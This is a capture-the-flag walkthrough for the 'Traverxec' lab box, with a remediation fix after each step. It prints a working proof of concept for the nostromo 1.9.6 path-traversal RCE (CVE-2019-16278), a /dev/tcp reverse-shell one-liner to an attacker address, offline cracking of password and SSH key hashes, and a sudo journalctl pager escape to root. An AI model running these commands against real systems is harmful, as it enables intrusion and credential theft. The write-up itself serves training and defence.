← all walkthroughs

Traverxec

Linux· Easy
owned
2026-06-29
time to own
10m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I exploited a critical path-traversal remote code execution bug in the nostromo 1.9.6 web server (CVE-2019-16278) to gain a shell as the web-service account www-data. Post-exploitation enumeration exposed david's encrypted SSH private key inside a world-readable directory served by the web server.

Cracking the key's passphrase offline provided SSH login as david. A misconfigured sudo rule that allowed david to run /usr/bin/journalctl as root was then abused through the standard GTFOBins pager escape to spawn a fully interactive root shell.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceService/Version Discovery (T1046)
Identified an unpatched, exploitable web server on port 80
A service-version scan revealed the target was running nostromo nhttpd 1.9.6. This version has a publicly documented unauthenticated remote code execution vulnerability (CVE-2019-16278) and is no longer maintained. The banner alone was sufficient to select the attack vector before any further probing.
80/tcp open http nostromo 1.9.6
Exact commands 2
Banner grab; confirms nostromo 1.9.6.
nmap -sV -p 80 --open $TARGET
Confirms public exploit exists (EDB-ID 47837 / CVE-2019-16278).
searchsploit nostromo 1.9.6
FixPatch or replace the nostromo web serverCritical
WeaknessThe server ran nostromo nhttpd 1.9.6, which contains an unauthenticated remote code execution vulnerability (CVE-2019-16278). The vulnerability is exploitable with a single HTTP request from anywhere the port is reachable and requires no credentials or prior knowledge of the system.
FixRemove nostromo and replace it with an actively maintained web server (nginx, Apache httpd). If nostromo must be retained for operational reasons, upgrade to a patched release and immediately restrict access to port 80 via host-based firewall rules. Apply IDS signatures for CRLF-encoded path traversal (%0d) on port 80. This is the highest-priority item: all subsequent findings were only reachable because this one succeeded.
2Initial AccessExploit Public-Facing Application — Path Traversal RCE (T1190)
Gained unauthenticated remote code execution via nostromo path traversal (CVE-2019-16278)
Nostromo 1.9.6 does not sanitize CRLF-encoded dot sequences (%0d.) in POST request paths. By sending a request to /.%0d./.%0d./.%0d./.%0d./bin/sh I traversed out of the web root and caused the server to execute /bin/sh, returning command output in the HTTP response body. This required no credentials and was exploitable from any network-reachable host.
Uid=33(www-data) gid=33(www-data) groups=33(www-data) — confirmed via id command injected in POST body
Exact commands 2
Manual PoC — replace the body bytes with any shell commands to run.
python3 - <<'PY'
import socket
host="$TARGET"; port=80
body=b'echo\necho\nid\n'
req=(b'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\n'
     b'Host: '+host.encode()+b'\r\n'
     b'Content-Length: '+str(len(body)).encode()+b'\r\n\r\n'+body)
s=socket.create_connection((host,port),5)
s.sendall(req)
s.shutdown(socket.SHUT_WR)
print(s.recv(4096).decode('latin1','replace'))
PY
Use EDB-ID 47837 for a reverse shell; start listener with: nc -lvnp 4444
python3 47837.py $TARGET 80 'bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"'
3Post-Exploitation EnumerationCredentials in Files (T1552.001)
Read nostromo's .htpasswd file to harvest david's hashed web password
The nostromo configuration file (nhttpd.conf) pointed to /var/nostromo/conf/.htpasswd for HTTP basic authentication. This file was readable by the www-data process and contained a crackable password hash for the account 'david'. Cracking it offline against a common wordlist recovered the plaintext, providing a candidate credential for other services and confirming the local account name.
Htpasswd /var/nostromo/conf/.htpasswd (directive in nhttpd.conf, readable as www-data)
Exact commands 3
Reveals .htpasswd path, homedirs setting, and homedirs_public value.
cat /var/nostromo/conf/nhttpd.conf
Retrieve david's hashed password; copy hash to my machine.
cat /var/nostromo/conf/.htpasswd
Crack the MD5-APR hash offline.
john --wordlist=/usr/share/wordlists/rockyou.txt htpasswd.txt
FixRestrict access to credential files used by the web serverHigh
WeaknessThe nostromo process (running as www-data) could read /var/nostromo/conf/.htpasswd, which stored a password hash for the local user david. Anyone who achieves code execution as www-data inherits the ability to read all files that process can access.
FixSet ownership of /var/nostromo/conf/ to root:root with permissions 700 so that only root can read the directory. Where possible, use a dedicated service account rather than storing hashes for interactive users. Rotate any credential exposed through this file immediately. Long-term, replace flat .htpasswd files with a dedicated identity provider.
4Credential AccessSSH Private Keys (T1552.004)
Downloaded david's SSH private key from his web-accessible backup directory
Nostromo's homedirs feature served each local user's ~/public_www folder over HTTP. David's directory at /home/david/public_www/protected-file-area/ contained a tar archive of his SSH identity files. Although the directory name implies protection, it carried world-readable filesystem permissions (drwxr-xr-x), so the www-data process could read and copy the archive directly from the filesystem without needing HTTP credentials.
Drwxr-xr-x 2 david david 4096 Oct 25 2019 protected-file-area — world-readable confirmed
Exact commands 4
List the directory; reveals the backup archive filename.
ls -la /home/david/public_www/protected-file-area/
Stage the archive for extraction.
cp /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz /tmp/
Extracts to home/david/.ssh/id_rsa — an encrypted RSA private key.
cd /tmp && tar xzf backup-ssh-identity-files.tgz
Prepare key with correct permissions before exfiltrating to my machine.
cp /tmp/home/david/.ssh/id_rsa /tmp/traverxec_david_id_rsa && chmod 600 /tmp/traverxec_david_id_rsa
FixRemove sensitive files from web-accessible home directories and disable homedirsCritical
WeaknessNostromo's homedirs feature served each user's ~/public_www directory over HTTP. David placed a tar archive of his SSH private key in that directory. The directory had world-readable filesystem permissions, so any process running on the server — including the compromised www-data account — could read and exfiltrate it without HTTP credentials.
FixDisable the homedirs and homedirs_public directives in nhttpd.conf. If user home-directory serving is a business requirement, implement strict controls: set ~/public_www permissions to 750, audit contents regularly, and prohibit storing any key material, credential files, or private archives in any web-served path. Run a one-time scan (e.g., truffleHog, git-secrets) across all home directories for exposed secrets.
5Credential AccessBrute Force: Password Cracking (T1110.002)
Cracked the SSH key passphrase offline ('[REDACTED: recovered credential]')
The private key was passphrase-protected, but the passphrase was a single common dictionary word. I converted the key to a John-the-Ripper hash format and cracked it in seconds against rockyou.txt, recovering the passphrase '[REDACTED: recovered credential]'. A weak passphrase provides no meaningful protection once the key file is in my possession.
Exact commands 3
Convert RSA key to a crackable hash format.
ssh2john /tmp/traverxec_david_id_rsa > /tmp/id_rsa.hash
Cracks immediately to: [REDACTED: recovered credential]
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/id_rsa.hash
ssh-keygen -p -P "$PASSWORD" -N '' -f /tmp/traverxec_david_id_rsa
FixEnforce strong SSH key passphrases and remove exposed key materialHigh
WeaknessDavid's SSH private key was protected by the dictionary word '[REDACTED: recovered credential]', which was cracked in seconds against a standard wordlist. A weak passphrase provides no real protection once the key file is stolen.
FixImmediately revoke and regenerate david's SSH key pair. Enforce a minimum passphrase length of 20+ random characters for all SSH private keys. Consider hardware-backed keys (FIDO2/YubiKey) which cannot be extracted and cracked offline. Use ssh-agent with key lifetimes to avoid persistent passphrase exposure. Document and enforce a key rotation policy.
6Lateral MovementRemote Services: SSH (T1021.004)
Authenticated to SSH as david using the cracked private key
With the passphrase cracked and removed, I used the stolen private key to open a full SSH session as david. This elevated access from the restricted www-data web-service account to a real user account with a home directory, login shell, and sudo privileges.
Exact commands 2
Log in as david; passphrase already stripped from key.
ssh -i /tmp/traverxec_david_id_rsa -o StrictHostKeyChecking=no david@$TARGET
Captures <user.txt>.
cat /home/david/user.txt
7Privilege EscalationSudo GTFOBins Pager Escape (T1548.003)
Escaped to a root shell by abusing sudo journalctl (GTFOBins pager escape)
David had a sudo rule permitting him to run /usr/bin/journalctl as root without a password. When the terminal height is forced to fewer rows than the log output, journalctl opens the output in the 'less' pager. The 'less' pager supports shell escapes: typing '!/bin/sh' spawns a child shell that inherits the root privileges of the parent journalctl process. I forced a 5-row terminal via stty, triggered the pager, and issued the escape to obtain a root shell.
Sudo /usr/bin/journalctl -n5 -unostromo.service with stty rows 5 → !/bin/sh → uid=0(root)
Exact commands 3
Confirm rule: (root) NOPASSWD: /usr/bin/journalctl
sudo -l
timeout 20 bash -lc "(sleep 1; printf '!/bin/sh\n'; sleep 1; printf 'id\ncat /root/root.txt\n') | ssh -tt -o StrictHostKeyChecking=no -i /tmp/traverxec_david_id_rsa david@$TARGET 'stty rows 5 cols 80; sudo /usr/bin/journalctl -n5 -unostromo.service'"
Interactive version: once 'less' opens, type !/bin/sh and press Enter to drop to root shell.
stty rows 5 cols 80 && sudo /usr/bin/journalctl -n5 -unostromo.service
FixRemove sudo access to journalctl and audit all sudo rules for pager-invoking binariesCritical
WeaknessDavid was allowed to run /usr/bin/journalctl as root without a password (NOPASSWD). journalctl opens its output in the 'less' pager, which supports the shell-escape command '!cmd'. This is a well-documented GTFOBins technique that converts any sudo pager permission into full root code execution.
FixRemove the journalctl sudo rule from david's account immediately (edit /etc/sudoers via visudo). If read-only log access is a legitimate need, implement it through a log aggregation agent (e.g., Filebeat, Vector, rsyslog remote forwarding) that runs with its own minimal service account — not through sudo. Audit all sudo rules across all accounts with 'sudo -l' and cross-reference every allowed binary against GTFOBins; remove or constrain any that can invoke a shell, pager, or editor.

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

80/tcp